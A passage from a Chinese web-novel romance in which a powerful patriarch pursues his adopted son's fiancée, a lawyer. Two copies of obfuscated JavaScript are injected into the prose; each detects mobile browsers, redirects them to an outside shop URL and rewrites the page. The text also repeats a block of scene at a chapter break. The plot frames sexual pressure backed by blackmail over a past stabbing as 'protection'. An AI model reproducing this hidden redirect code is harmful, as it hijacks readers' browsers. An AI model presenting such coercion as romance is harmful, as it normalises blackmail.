平淡的五个字。 靳念旸的身体瞬间僵住了。 他的脸色刷地白了。 “父亲,我……” 靳承野的眼睛依旧闭着,语气没有何波动:“你以为我不知道?” 靳念旸的手指攥紧了校服的衣角。 他垂着眼,不敢看父亲。 “从你那天在雨里等她开始。” “到你去律所找她。” “再到今天。” 靳承野终于睁开了眼睛。 那双凤眼落在自己的儿子身上。 冷的。 深的。 “靳念旸,你是不是忘了我跟你说过什么?” 靳念旸的脸色更白了。 他低着头,死死绷着下颌,攥着衣角没有松开。 一言不发。 过了好一会,他才开口,声音很低:“我只是……” “想让她抱抱我。” 靳承野沉默了。 车厢里陷入了漫长的安静。 窗外阳光刺眼。 最后车内只剩下一声几不可闻的轻叹:“没有下次。” 靳念旸松开了衣角:“是。” 车内又安静了一会。 靳承野突然问:“你叫她什么?” 靳念旸一愣,小声答道:“阳……阳阳姐姐。” 沉默。 然后是男人低沉的声音。 “不准这么叫。” 叫什么姐姐,本分乱了都。 靳念旸猛地抬起头。 只见父亲依旧是那副冷淡的神情,凤眼看着窗外飞速掠过的风景。 靳念旸咬了咬唇。 她看起来很温暖,也很漂亮。 阳阳姐姐比那个小女孩叫的阳阳姨姨,更亲近。 为什么不可以这么叫? 他低下头,摸了摸胸口的位置。 那里一直放着一张名片。 他想起昨天晚上那个温暖柔软的拥抱。 “阳阳姐姐。” 他在心里默念了一遍这个称呼。 唇角微微勾起。 又抿平了。 …… 与此同时。 学校后门。 小胖子的父亲拽着儿子往外走,脸上的怒气藏都藏不住。 “靳家的小少爷你也敢打?活腻了?” 他一边走一边骂,恨不得当场把儿子打一顿。 小胖子被揪得生疼,委屈地哭了出来。 “不是我要打的!”他带着哭腔喊道,“是他让我打他的!” “他说要是我不打他,他就打我!” 他父亲的脚步顿住了。 “他还让我当着那个姐姐的面骂他没妈妈!” 男人和他的妻子面面相觑。 就在这时。 一道黑色的身影挡在了他们面前。 万凛。 他的目光落在那个女人身上。 “刚才……” “贵夫人似乎提到了温小姐?” 女人的脸刷地白了。 万凛微微侧身,做了一个“请”的手势。 “先生有请。” 第13章 痴贪欲戾 靳念旸一愣,小声答道:“阳……阳阳姐姐。” 沉默。 然后是男人低沉的声音。 “不准这么叫。” 叫什么姐姐,本分乱了都。 靳念旸猛地抬起头。 只见父亲依旧是那副冷淡的神情,凤眼看着窗外飞速掠过的风景。 靳念旸咬了咬唇。 她看起来很温暖,也很漂亮。 阳阳姐姐比那个小女孩叫的阳阳姨姨,更亲近。 为什么不可以这么叫? 他低下头,摸了摸胸口的位置。 那里一直放着一张名片。 他想起昨天晚上那个温暖柔软的拥抱。 “阳阳姐姐。” 他在心里默念了一遍这个称呼。 唇角微微勾起。 又抿平了。 …… 与此同时。 学校后门。 小胖子的父亲拽着儿子往外走,脸上的怒气藏都藏不住。 “靳家的小少爷你也敢打?活腻了?” 他一边走一边骂,恨不得当场把儿子打一顿。 小胖子被揪得生疼,委屈地哭了出来。 “不是我要打的!”他带着哭腔喊道,“是他让我打他的!” “他说要是我不打他,他就打我!” 他父亲的脚步顿住了。 “他还让我当着那个姐姐的面骂他没妈妈!” 男人和他的妻子面面相觑。 就在这时。 一道黑色的身影挡在了他们面前。 万凛。 他的目光落在那个女人身上。 “刚才……” “贵夫人似乎提到了温小姐?” 女人的脸唰地白了。 万凛微微侧身,做了一个“请”的手势。 “先生有请。” …… 另一半,靳家大宅。 上午的阳光暖洋洋的。 靳白叼着烟,半靠在床头,烟雾缭绕。 赤裸的上半身有不少暧昧的红痕。 他也不在意,只是低眉看着手中平板里的资料。 极光有意让温静阳负责下一轮私募。 靳白的桃花眼微微眯起。 养父亲自批的。 他想起小姑娘满眼都是他的乖巧模样。 靳白的嘴角不自觉地勾了勾。 挖过来了也挺好。 这时,靳娇娇从身后贴了上来,两条白皙的手臂从后面环住了他的脖子。 昨天夜里两人疯过了一些,靳娇娇到现在才刚醒。 “哥哥,在工作呢?” 靳娇娇的手指勾住他胸前的观音吊坠项链,缠绕着,拉拉扯扯地,把那条银链子在指尖绕了一圈又一圈: “上次在极光的时候,你答应我给我看极光上市的资料的。” 靳白叼着烟,握住了她缠着链子的手,不轻不重地捏着: “极光的项目养父接管了,你想要,就去找他拿。” 提到养父,靳娇娇的脸色顿时一白。 靳白顺势将话题扯开了:“对了,养父打算让温静阳来极光。” “什么?”她猛地坐直了身子,满是娇怒:“让她来极光?凭什么?” 靳白靠着床头,桃花眼懒懒地看着她:“她能力强呗。” 靳娇娇见状更是恼怒:“温静阳那种女人,表面上看着乖,哥哥你是不知道,她被多少人给睡过,上次那药……” 说了一半靳娇娇的声音突然顿住了。 靳白的捏着她的手停了下来。 靳娇娇反应过来,直接趴到靳白怀里:“哼,总之那女的就算来极光,估计也是使了见不得人的手段。” 靳白把烟从嘴里取下来,弹了弹烟灰:“别总说她坏话,她是我的未婚妻。” 靳娇娇抬起头:“你偏心她……” “我只偏心你。”靳白轻笑,低头吻了吻她,声音宠溺:“你不知道?” 靳娇娇满意地轻哼了一声,又重新钻进靳白怀里。 见靳娇娇被哄住了,靳白将烟按灭,桃花眼中闪过一层阴鸷。 药? 她知道些什么。 靳白的手指在靳娇娇后背上慢慢画着圈,动作温柔得不像话。 …… 另一边。 德明律所。 “……沈总,情况就是这样的。” 温静阳到律所后,收到了魏岐发来的沈述昂的号码。 魏岐表示沈总有事,没法见面,但是可以线上聊。 温静阳于是就打通了沈述昂的号码,把昨天的谈判情况汇报了。 电话那头安静了片刻。 沈述昂没有立刻回应谈判,反而问了一句让温静阳微微意外的话。 “让你去极光,是靳承野提出来的?” 沈述昂的声音温润的,又有些模糊的质感。 温静阳记笔记的手停了一下:“是的。” 又是一阵短暂的沉默。 然后沈述昂的声音重新响起来,带着体贴的温度:“这个条件对远航没什么影响,你自己决定就好。” 温静阳愣了一下: “那远航现在这轮私募,我需要回避吗?” “毕竟,我和靳家的关系……” 沈述昂的声音温柔:“不需要,我相信温律师。” 温静阳沉默了。 对方是在是有些太好了。 很快电话那头传来对方温润的声音:“比起回避的事情,我更担心你,温律师。” 温静阳疑惑:“我?” 他的声音压低了一些,听着愈发温和:“嗯,靳家……不应该是你的归宿。” “您很了解靳家?” 电话那头笑了一声,很轻。 “做生意的,多多少少都了解一些。” “况且,我与靳家有些……往事。” 他没有多说,而是停了一秒,继续道: “温律师,以后有什么事,直接联系我就行,不用通过魏岐。” “不管是不是工作上的。” 他的语气真诚,不像甲方对代理律师说话的口吻。 倒像是…… 温静阳说不上来。 一种似曾相识的感觉。 模糊的,抓不住的。 温静阳最终回了一句:“有劳。” …… 靳家老宅。 佛堂内昏暗,唯一的光源来自佛像前的长明灯。 黄铜香炉里积了许多灰。 靳承野站在佛像前。 他单手拿着一炷新香,在长明灯上引燃。 很快,袅袅烟气升起,模糊了佛像低眉敛目的慈悲金面。 靳承野拿着香,却没有拜。 他只是低眉看着手腕上的小叶紫檀念珠。 这串珠子是五年前上的腕。 当时他刚掌权,就接连不择手段吃下三家上市公司,手段狠厉到让整个京港市商圈噤若寒蝉。 然后一个老和尚找到了他。 来自京港最古老的寺庙,据说活了快一百岁了。 老和尚看了他一眼,把这串念珠放在了他面前。 “施主身上痴贪欲戾太重,需要压一压。” 他当时嗤之以鼻。 他不信佛。 他只信自己。 佛堂是靳家老宅传下来的规矩,他维持着,不过是给外人看的。 但后来…… 他有了一个儿子。 念旸刚出生的时候很小,皱巴巴的,被护士用白色的襁褓裹着送到他面前。 那个小小的东西睁着一双黑得跟他一模一样的眼睛。 就那样安安静静地看着他。 不哭不闹。 莫名的,他想起了老和尚的话。 于是就把念珠带上了。 静心平燥。 只是…… 身后传来了沉稳的脚步声。 是万凛推开佛堂的门走进来,然后在靳承野身后三步远的位置站定。 “说吧。” 靳承野没有回头。 万凛的声音恭敬简洁:“那个孩子的母亲,曾是南水城中心医院急诊科的主治医师。” “一年前,她值班时接诊了一例刺伤急救。” “刺伤伤者的,正是温小姐。” 靳承野手中线香的烟气在他的面前慢慢聚散。 “而伤者……”万凛停顿了半秒。 “是温小姐的哥哥。” 第14章 雨 佛堂里似乎安静了一瞬。 靳承野把香插入了香炉里。 香灰簌簌地落了一层。 “原因。” 万凛低头:“暂时没有查到。” “但是事后,温家压下了所有消息,没有走司法程序。” “刚好原定联姻的温二小姐温姝敏,不愿意嫁到靳家来。” “推测温家用这作为威胁,让温三小姐同意代姐联姻。” 温二小姐是找回来的女儿。 温家人历来当宝一样护着。 靳承野轻轻摩挲着手上的念珠:“不会。” “她不会因为这个被威胁。” 靳承野狭长的凤眸微微眯起:“应该是温家有什么……” “让她想逃离的。” 靳承野又想起了那个老和尚说的话。 痴贪欲戾么…… 如今看来,这念珠,怕是快压不住了。 他的猫儿不愿意回来。 叫他如何静心平燥? 既然不愿意回来…… “看来,马上就会有雨了。” …… 下午。 温静阳处理完律所的事,正打算去璟澜酒店看看。 上次被下药,事情蹊跷,也不知道是谁做的。 现在得空了,趁机去查查看。 温静阳正低头在手机上准备叫车,忽然脖颈后面一凉。 一滴。 两滴。 然后…… “哗——” 暴雨毫无征兆地砸了下来。 像是水整桶整桶地往下倒。 等她反应过来,已经全身湿透了。 正打算往屋檐下跑。 一辆黑色的劳斯莱斯,稳稳地停在了她身侧。 她正疑惑时,车子后座的车窗降了下来。 然后她就看到了靳承野那张性冷淡脸。 他穿着深灰色的衬衫,袖口挽到小臂中段,露出结实的肌肉线条和腕上那串小叶紫檀念珠。随意地搭着,手里拿着平板电脑,应该是正在处理什么公务。 他的目光从平板屏幕上抬起来,凤眼淡淡地扫过雨中狼狈的温静阳。 从湿漉漉贴在脸上的头发,到被雨水浸透后变得半透明的衬衫。 他的视线在她身上停了两秒。 没有多余的表情。 这模样,可不妥妥的性冷淡嘛。 温静阳冷得紧紧抱着自己,隔着雨幕与男人对视:“靳总……” “上车。”男人开口打断了她的话。 温静阳犹豫了一秒。 最后还是咬了咬唇钻进了男人的车里。 关门的瞬间,雨声一下子被隔绝了。 车内安静,干燥,温暖。 温静阳整个人却在滴水。 她抱着手包,乖乖地缩在角落里,努力把自己蜷成最小的一团,尽量不把水弄得到处都是。 她抬头就看到男人的视线落在自己身上。 温静阳顺着男人的视线低头看了看,然后看到了湿透的衬衫下若隐若现的内衣。 温静阳:“……” 她默默把自己抱紧了一些。 一条厚实的灰色毛毯放到了她面前。 “用。” 男人低沉的声音在旁边响起。 靳承野收回了视线,重新落回了平板上,修长的手指正在屏幕上划着什么。 温静阳犹豫了一下,还是乖乖把毛毯裹在了身上胡乱擦了擦。 擦完之后,她乖乖坐好,双手交叠放在膝盖上。 湿漉漉的杏眼时不时警惕地看向身旁的男人,像只刚被从水里捞出来受惊的小动物。 车厢里恢复安静了。 就在这时,车子转过一个弯。 温静阳的身体随着惯性往旁边歪了一下。 肩膀撞上了一个坚硬温热的物体。 是靳承野的手臂。 她连忙坐直身子:“对不起……” 靳承野划动屏幕的手指停了下来。 他侧过头,看着她。 “冷吗?”他问,声音有些哑。 车内暖气很足,她已经不冷了。温静阳微微偏头,不知道为什么他要突然问这个,但还是软软地回答:“还好。” 靳承野的手伸了过来。 温静阳下意识地往后缩了一下。 男人的手在半空中停顿了一瞬,然后落在了她的额头上。 男人掌心的温度透过皮肤传了过来,温静阳下意识地眨了眨眼。 “没发烧。” 靳承野收回手,顺势捏住了她搭在毛毯边缘的一缕湿发。 他在指尖捻了捻,水珠沾湿了他的指腹。 他声音平静:“去哪?” 温静阳本来想说璟澜酒店,但想想又怕节外生枝。 “回律所就好。”她乖乖地说,声音被雨淋得有软绵绵的,“我还有把伞放在那里。” 这当然是骗人的。 她只是需要一个近一点的目的地,好赶紧离开。 靳承野收回手,看着她。 这种目光温静阳已经领教过好几次了。 不凌厉,不灼热,甚至称得上平静。 但是就是莫名地让她犯怵。 “律所在三条街外。”他说。 温静阳点头:“对,很近的。” “你是从律所方向走过来的。” 温静阳:“……” 空气安静了三秒。 温静阳抿了抿唇,然后抬起头,杏眼弯弯地对着男人露出一个甜到发腻的笑容。 “靳先生观察力好好哦。” 她软着声音赞叹,水润润地杏眼里满是真诚。 靳承野看着她那张笑盈盈的小脸,凤眼微微眯了一下。 这小姑娘。 被拆穿了,一点慌都不带慌的。 就这么甜甜软软地笑着。 好像只要笑得够甜,谎就不算谎了似的。 她历来这样,以前现在都是,天天哄人,次次都哄他。 偏偏他每次都舍不得说什么。 靳承野收回了目光,没继续发难,而是直接道:“去炉厂小区。” 温静阳一愣,那不是她租房的地方吗? 第15章 温静阳,做我的人 雨越来越大了。 炉厂小区的门口,劳斯莱斯停了下来。 温静阳正要推开车门下车,就听到旁边传来金属扣解开的声音。 她推头侧头看过去,只见靳承野解开了安全带。 男人已经从另一侧拿了一把伞,推门下了车。 他走到了她这一侧,举着伞罩住了她。 温静阳站在伞下,仰头看着他。 “靳先生……您这是?” 这位爷下来做什么? 靳承野凤眼扫了一眼这个老破小小区有些包浆的栅栏门,然后淡淡说了两个字: “带路。” 他声音低沉,混在雨声里让人听得不真切。 温静阳眨了眨眼:“去哪?” 靳承野垂眸看着她:“你住处。” 这语气平淡得可谓是理所当然。 温静阳:“……?” 这位大总裁跑她那个破破旧旧小小的出租干嘛? 还说得这么理所当然。 她好歹也是他养子的未婚妻。 温静阳把身上披着的毯子裹紧了,放软了声音:“先生,我那里小……” 容不下你这尊大佛。 男人没有说话,只是低眉看着她,眸子里神情平静。 被这目光看得不自在的温静阳:“……” 最后她乖乖转过身:“您请。”并怂怂地带路。 两个人往里走着。 温静阳能感觉到伞一直稳稳地罩着她。 雨一滴都没有落到她身上。 小区里的楼道老旧、昏沉沉的,她家门口还堆满了对面住户的杂物,鞋架什么的。 京港的房价高,她的律所刚开京港的分所,手头紧。 这房子是挨着律所的最便宜的房子了。 至于父母的支持?她这个假女儿,温家又不管她死活。 温静阳淌过那些乱七八糟的东西,掏出钥匙开锁。 靳承野就站在她的身后,高大的身影将温静阳整个人都笼罩住了。 她甚至能闻到他身上的檀木香,这钥匙插了几次都没能插进去。 靳承野也不催他,就安静地站在一旁,他的视线就没从她身上没移开过。 好不容易把门打开,温静阳侧过身让靳承野进来。 男人很高,头几乎要碰到门框。 靳承野进屋后,将收起的雨伞靠在门边的墙角。 温静阳才发现他的头发、左半边肩膀还有手臂,全都湿透了。 水珠顺着发丝往下滴,深灰色的衬衫紧紧贴在他的身上,勾勒出紧实的肌肉线条。 他那把伞几乎全罩在了她身上。 温静阳愣愣地看着他湿透的样子:“你……” 靳承野没说什么,只是随意地扫视了一圈这间小小的出租屋。 四十来平,有些旧,却整洁干净。 茶几上摆着没来得及收的案卷和半杯水。 窗台上还有一小盆绿萝。 “毛巾在哪?”他开口,语气平常得像是在自己家 温静阳回过神来,连忙去浴室拿了条干净的毛巾出来递给他:“给你。” 靳承野接过毛巾,随意地擦了擦头发。 温静阳站在一旁,看着他擦。 这个画面很怪异。 京港市的靳承野,站在她月租四千三的出租屋里擦头发。 但他本人倒是一脸淡然,似乎并不在意。 靳承野擦完头发,随手将毛巾搭在了她那张有些旧的沙发扶手上。 然后坐到了沙发上。 还顺手解开了最上面两颗扣子。 温静阳的视线不受控制地从那里往下滑了一寸,立刻又猛地别开了头。 却听到男人有些哑的声音:“过来。” 温静阳犹豫了一下,最后还是磨磨蹭蹭地走了过去,在他面前乖乖站好。 “有什么事呢?靳先生。” 靳承野没有立刻回答。 他的目光落在温静阳身上。 她站在那里乖巧得很,白嫩的小手攥着毯子。 双杏眼又亮亮的,一脸的“我很乖的你别为难我”的神情。 又是这样子的神情,好像他在欺负她。 靳承野的眸色暗了暗,抬起手。 温静阳下意识要退。 男人的大手却直接抓在了她攥着毛毯的手。 然后,一根一根地,将她抓紧的指头掰开。 他的指腹紧紧贴着她手背的皮肤。 毛毯从温静阳的肩膀上滑了下来,她下意识地缩了缩肩膀,想要抽回手。 “靳先生?”根本抽不回去。 靳承野没说话,握着她的手往前轻轻一带。 温静阳没站稳,身体往前倒了下去,她整个人跌在了男人的胸口上。 瞬间被檀木香的气味密不透风地包裹住。 手上是他硬实的胸肌,随着他的呼吸微微起伏着。 曾经在酒店的记忆猛地冲上脑海,温静阳吓得连忙想要撑着他起身,却被男人按住了腰。 “别动。”男人低沉的声音在头顶响起。 他按着她的腰的手,往下压了压。 温静阳的身体僵住了。 她撑着他胸口的手臂绷直,保持着一个不上不下的姿势,既没有起来,也没有……坐下去。 她抬起头。 靳承野的脸近在咫尺,垂眸看她。 凤眸里是漠然的平静,手上的力道却一点都不轻。 危险。 这两个字在温静阳的脑海里响起。 她紧张地无意识攥紧了他胸口的衬衫布料。 脸上却对着男人甜甜地笑了笑:“靳先生……我觉得,您现在可能很是需要一个吹风机呢?我去帮你拿,好不好嘛?” 乖巧的语气,试图蒙混过关。 她还是这样。 靳承野垂着眸,低低地“嗯”了一声。 却没有放手。 那在她腰间的手掌反而往下移了一点,指尖的力度微微收紧。 温静阳:“!” 她感觉自己的呼吸停了。 “靳承野……”她第一次叫了他的名字。 声音软,带着点发抖。 男人的凤眼里终于有了一丝变化,又很快消失了。 他的指腹不自觉地摩挲着掌下的软肉。 温静阳猛地按住了他的手:“别……” 靳承野停下了动作。 他没有继续,也没有收手。 就这样维持着姿势,手掌按着她的腰肢,道:“上次的钱,还没算清。” 温静阳咽了咽口水:“我,我现在马上立刻转给您!” 靳承野语气平淡:“不用转账,肉偿。” 温静阳:“?” 等一下,她好像听到了什么奇怪的东西。 她难以置信地看着面前这个男人。 这男人怕不是疯了?! 就在温静阳正在评估甩给靳家家主一巴掌的代价的时候,靳承野开口了: “温静阳。” 不是“温小姐”,也不是“温律师”。 直呼其名。 温静阳下意识地绷直了身体,一整个被老师点名的小学生。 他看着她,语气一如既往地平静: “做我的人。” 第16章 三天 大雨如注,天空像是撕裂了一样的世界末日。 砸得温静阳家里那旧窗子噼里啪啦地像。 温静阳觉得自己的耳朵可能坏掉了。 她刚才分明听到了四个字,但那四个字太荒谬了,以至于大脑拒绝处理。 温静阳闭了闭眼,然后抬起头来。 她的杏眼里水雾氤氲的,却咬着唇,试图维持那副乖巧的表情。 “靳先生,我是您养子的未婚妻……” “我知道。”靳承野的声音平静。 他这模样,她还以为**呢。 温静阳:“……” 她沉默了半晌,然后杏眼弯了弯,露出一个甜到极致的笑容。 “靳先生,您在开玩笑呢吧?您是长辈,这样不合适……” 她的语调软软糯糯的,乖得不行。 靳承野没有说话,只是安静地看着身上的女孩。 那种目光让温静阳想到了佛堂里的古佛。 垂眸敛目。 慈悲的。 也是不可抗拒的。 然后,男人开口了:“南水城中心医院,急诊科。” 温静阳甜美的神情僵住。 靳承野继续平淡道:“去年三月十七号。急诊科接诊了一例腹部刺伤。” “伤者,温家大少爷,温屿深。” “施害者……” 靳承野没有把最后那个名字说出来。 他不需要说。 温静阳眨了眨眼,依旧是甜软可爱的,眼中却慢慢冷了下去:“靳先生……是想说什么呢?” 靳承野伸手,指尖轻轻撩起温静阳肩头的发丝,然后看着发丝从指尖滑落。 “我没有想说什么。” 他的声音很低。 “我只是在陈述一个事实。” “这个事实目前在我手里。” “并且随时可以翻出来。” “你不想回家,对吧。” 他的语气没有威胁的意味。 甚至可以称之为温和。 就像一个父亲在给孩子讲一个道理。 耐心。 清晰。 温静阳的手指慢慢再次攥紧了靳承野的衣领。 而她脸上甜甜的笑意,慢慢地、慢慢地隐去了。 她开口,声音依旧是软的,却没了之前那种甜味:“靳先生的意思是,用这个来换我。” “不是换。”靳承野抚上了温静阳的脸颊,然后凑近,轻轻吻了她的额头:“是保护。” 温静阳的睫毛颤了一下。 “温家会用这件事压你一辈子。” “而我不会。” 窗外的雨不知道什么时候变小了。 温静阳被他控制着,被迫仰着头。 她看着他那双幽深的凤眼。 那里面有很多东西。 可她一样都读不懂。 她伸出手,慢慢拨开了靳承野抚着她脸庞的手。 她的指尖碰到他的手腕时,触到了那串紫檀念珠。 凉的。 “靳先生。”她的声音恢复了那种软软的调子,杏眼也重新弯了起来。 乖乖地,甜甜地。 好像刚才那个冷冰冰的温静阳从来没有出现过。 “我考虑考虑好不好呀?” 靳承野慢慢放下手,看着她那张笑盈盈的小脸。 沉默了很久。 窗外的雨滴打在绿萝的叶片上,啪嗒,啪嗒。 “三天。” 第二个三天。 上一个三天,他要她的人。 而这个一个三天,他还是要她的人。 温静阳轻轻地叹了一口气:“靳先生……时间观念真的很强呢。” …… 璟澜酒店。 顶层套房。 浴室的门敞着,热蒸气缓缓弥散出来。 一个男人披着白色浴袍从里面走出来,浴袍的领口松松垮垮地敞着,露出一大片胸膛。 胸口正中央,是一道明显的刀疤。 男人随意用毛巾擦着头发,然后把放在桌上的金丝眼镜拿起戴上。 他偏头看向桌上的照片,随后唇角慢慢勾了起来。 “资料呢?” 他的声音懒懒的,问的是房间另一头。 沙发上坐着靳娇娇。 她今天打扮得用了心思,红色的吊带裙裹着高挑的身段,耳朵上垂着流苏耳环,一晃一晃的。 让她本就艳丽的五官愈发耀眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17234042|197654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但她坐在那里的姿势十分拘谨。 两条长腿并得很紧,手指绞着裙摆。 她的目光一直黏在温屿深身上。 从他走出浴室开始就没移开过。 “我……”她的声音有些干涩,“极光的项目被养父接手了。” “资料我拿不到了。”她低下头,长睫毛遮住了眼底的慌张:“对不起……” 男人没有说话,只是目光从照片上移开,落到了靳娇娇身上。 靳娇娇能感觉出来。 不是怒。 是失望。 比怒更让她受不了的那种。 “拿不到了。”温屿深重复了一遍她的话。 语调还是懒的,甚至带着笑。 但靳娇娇的脸白了。 男人道:“怎么办,我这里不是很需要废人呢。” “我真的尽力了!”靳娇娇连忙站起来,伸手去拉他的袖子,“你知道养父他是什么样的人,我不敢……” 男人低头看着她拉着自己袖口的手。 纤细白皙的手指,指甲上做了精致的美甲。 他没有甩开她,而是用另一只手轻轻托起了她的下巴。 靳娇娇的呼吸立刻紧了。 “娇娇。”他叫她名字的时候语气很温柔:“我不是在怪你。” 靳娇娇的眼眶红了。 “我只是在想……”温屿深的拇指轻柔地摩挲着,“你到底有没有把我放在心上。” “有的!”靳娇娇几乎是立刻接上了,眼泪啪嗒掉了下来:“我最在乎的就是你了……” 男人擦去了她的眼泪。 “那下次,别让我失望。” 他笑了笑。 温润的,体贴的,像个完美的情人。 靳娇娇拼命点头。 …… 片刻之后靳娇娇走了。 房间里安静下来。 男人拿起了桌子上的那张照片。 指腹从照片上女孩的面颊上慢慢滑过。 “阳阳。” 他低低唤了一声。 声音里有一种柔软的东西,和刚才对靳娇娇说话时完全不同。 那是一种浸了毒的温柔。 “京港市……很有趣吗?” 第17章 日日夜夜的清晨 温静阳是六点半就被吵醒的。 大清早的砰砰叨叨的餐具碰撞的声音,像是疯了一样恼人。 温静阳抱着被子翻了个身,脸埋在枕头里,脑子还糊着。 她这个破出租屋自从租下来,厨房就没被正经使用过。 灰都不知道积了几层了。 所以……谁在做饭? 温静阳猛地坐了起来。 暴雨,车,毛毯,檀木味,男人按在她腰上的手掌,“做我的人”,三天。 好的,现在脑子清醒了。 靳承野昨天夜里没走。 万凛给他送来了换用的衣服和日用品,他在沙发上睡了一觉。 很神奇。 像他这种自幼出生豪门,顺风顺水长大的有钱人,居然对那个旧旧的沙发接受良好。 温静阳扒着门框往外看。 只见京港市黑白通吃的靳家家主,此刻站在她那个巴掌大的厨房里。 他一只手揣裤兜里,单手往碗里盛粥。 动作稳而熟练。 两个碗连盛粥的量都一样多。 温静阳看了好一会。 然后她的视线从他身上移开,落到了客厅。 茶几上的卷宗被整整齐齐地码成了两叠,按照案卷编号排好。 原本还有半杯水的杯子,被洗干净了,倒扣在桌面上,下面还垫了一块纸巾。 温静阳:“……” 她低头看了看自己的睡衣。 皱巴巴的灰色T恤,头发像鸟窝一样炸着。 她“嘭”地关上门,飞快地洗漱收拾后,才推开门走出去。 靳承野已经坐在了饭桌前。 两碗粥,两碟小菜,两个金灿灿的煎蛋。 温静阳问了一句废话:“靳先生会做饭?” 她的声音哑哑的,带着起床气的软糯。 靳承野看着温静阳这幅刚起的模样,想起了曾经的无数过清晨。 她还是和以前一样。 他慢条斯理地把筷子分好,语气平淡:“烹饪是基本的生存技能。” 这语调理所当然得像是在说“人需要呼吸”一样。 不会做饭只能点外卖的温静阳想起了她的美团会员:“……” 她张了张嘴,又闭上了,然后默默地坐到了对面。 靳承野拿起筷子,抬眸看了她一眼,似乎看出了她在想什么:“你不需要会。” 温静阳正要夹蛋,动作停住了:“为什么呢?” 她疑惑地歪了歪头。 靳承野没有回答。 他把那碟煎蛋往她的方向推了一点:“我已经做好了。” 他会做,所以她不需要会。 “哦。”温静阳见靳承野在催她吃东西,于是乖乖地夹了一块煎蛋送进嘴里。 很好吃。 她平时早上不怎么吃饭,都是到律所后对付一杯速溶咖啡。偶尔心血来潮点个外卖,通常送到的时候已经凉透了。 吃着热乎的煎蛋,温静阳觉得自己充满班味的尸体暖暖的。 靳承野坐在她对面,用餐的姿势极其规整,整个用餐过程都很安静。 每一个动作都透着被严格训练礼仪过的痕迹。 不是刻意的优雅,而是像骨子里长出来的东西。 温静阳一边嚼着煎蛋一边偷偷看他。 人模狗样的。 用餐结束后。 温静阳放下碗筷,规规矩矩地说了声“谢谢”,然后开口道:“远航那边同意了。” 靳承野放下筷子,拿起一旁的餐巾纸擦了擦指尖:“条件是什么。” “没有条件。” 靳承野擦手的动作顿了顿。 他抬起凤眼,淡淡地看着温静阳:“你这次的私募打算怎么回避?” 温静阳:“远航那边说不需要回避。” 靳承野的手搁在桌面上,指尖搭着那串念珠,没有转动。 他安静了两秒,然后问:“你之前认识沈述昂?” 语气里听不出情绪。 温静阳乖乖摇头:“不认识。” 靳承野没有继续追问。 他斯条慢理地将碗筷收着碗筷起身。 沈述昂这个人,他清楚。 沈家当年被外人窃据、差点连根拔起,能在那种局面下翻盘重掌沈家的人,不可能是什么心慈手软的善类。 也不可能……好说话。 …… 黑色的劳斯莱斯幻影上。 靳承野坐在后座,阖目养神。 温静阳坐在他旁边,小手哒哒哒地敲着手机。 副驾驶是景砚修,他身上是一套酒红色的西装。 车内很安静。 温静阳打字给远航那边发消息,告知可以准备合约事宜。 发完之后她又点开了另一条消息,扫了一眼。 手指停在屏幕上没动。 “怎么了?”靳承野的声音从旁边传来。 他的眼睛没睁开,却好像能随时掌控她的情况一样。 温静阳垂着眸子,拇指在屏幕边缘蹭了蹭:“靳白说可以去试婚纱了。” 车内安静了一瞬。 景砚修的脑袋微不可察地往后偏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17234043|197654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一点点,耳朵竖起来。 靳承野终于睁开了眼睛。 凤眸淡淡地落在温静阳身上:“你要去?” 温静阳偏头,杏眼无辜地回看他:“这是我作为未婚妻的义务呀。” 她是他养子的未,婚,妻哦。 语调甜甜软软的,乖巧极了。 靳承野平静地看着她,那双凤眼里平静得像一潭死水。 温静阳瞧了半天,也读不出他的情绪。 然后,毫无征兆地,男人的手探了过来。 五指扣住了她的后颈。 温静阳一愣,随后她就被一个强硬的力量控制着,被拉近了男人几分。 近得她能看到他凤眼虹膜的纹路,和那双眼深处浓得化不开的墨色。 靳承野低下头。 温热的气息擦过她的鼻尖,然后…… 并没有吻她。 而是用拇指指腹压住了她的下唇。 用力。 从左至右,缓缓地,碾过她柔软的唇瓣。 温静阳整个人都僵在了那里,大气不敢出。 靳承野收回了手。 “我让司机送你过去。”他的声音依旧平淡,却有些微不可察的沙哑。 随即他又重新靠回座椅,阖上了眼。 好像什么都没有发生过。 温静阳呆坐了好几秒,才慢慢回过神来。 下唇上还残留着他指腹的温度和力道,火辣辣地跳着。 她用舌尖下意识地舔了一下。 然后像是才反应过来自己做了什么一样,猛地停住了。 她飞快地扭头看向窗外,把脸藏在了头发后面。 路边的行道树飞速**着,映在车窗玻璃上,和她微微泛红的脸重叠在一起。 …… 车子停在了下来。 温静推开车门下车。 她站在车外,微微弯腰,朝车内露出一个礼貌的笑容。 “谢谢靳先生送我。” 笑容甜甜软软,规规矩矩,是一个得体的晚辈对长辈的道别。 没有半点多余的温度。 靳承野始终阖着眼,没有看她,也没有回应。 温静阳的笑容维持了两秒,见他没理她,撇了撇嘴,直起身,关上门,转身走进大楼。 车门关上后,车内安静了一会。 副驾驶上的景砚修从后视镜里瞥了一眼后座,声音里带着惯常的调侃:“占人家小姑娘便宜。” 靳承野没理他。 一千六百五十四天。 他只是碰了她。 已经很克制了。 第18章 婚纱 Rêve高定婚纱工作室开在京港市中心最繁华的商业街顶层。 整层都是私人定制空间。 乳白色的大理石地面,灯光将每一件展示的婚纱照得流光溢彩。 